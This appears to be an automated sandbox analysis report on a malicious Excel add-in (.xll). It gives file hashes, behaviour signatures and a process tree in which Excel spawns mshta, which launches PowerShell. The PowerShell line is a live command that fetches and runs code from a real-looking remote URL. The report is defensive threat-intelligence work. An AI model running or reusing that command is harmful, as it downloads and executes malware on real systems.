Analysis
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max time kernel
134s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 21:34
Static task
static1
Behavioral task
behavioral1
Sample
49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll
Resource
win11-20240508-en
General
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Target
49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll
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Size
12KB
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MD5
923a25dd6a9cccc96fa6887c2cb27bed
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SHA1
7a3b91376c110de3e1f552c74d15e654efcbc6e5
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SHA256
49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88
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SHA512
af94bd9e6f73abdf7d2bca627d9a51f4ec313f3ba264bed171f6451a911a33f315ad0e382e90814435dbd2d67cfb968d0b8560363e786684509f03c521c8c851
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SSDEEP
192:sL29RBzDzeobchBj8JONMON03ruprEPEjr7AhH:C29jnbcvYJOZgupvr7CH
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3952 404 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 33 1784 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 404 EXCEL.EXE 404 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 404 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1784 powershell.exe 1784 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1784 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE 404 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 404 wrote to memory of 3952 404 EXCEL.EXE mshta.exe PID 404 wrote to memory of 3952 404 EXCEL.EXE mshta.exe PID 404 wrote to memory of 3952 404 EXCEL.EXE mshta.exe PID 3952 wrote to memory of 1784 3952 mshta.exe powershell.exe PID 3952 wrote to memory of 1784 3952 mshta.exe powershell.exe PID 3952 wrote to memory of 1784 3952 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1784
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll
Filesize12KB
MD5923a25dd6a9cccc96fa6887c2cb27bed
SHA17a3b91376c110de3e1f552c74d15e654efcbc6e5
SHA25649e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88
SHA512af94bd9e6f73abdf7d2bca627d9a51f4ec313f3ba264bed171f6451a911a33f315ad0e382e90814435dbd2d67cfb968d0b8560363e786684509f03c521c8c851
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82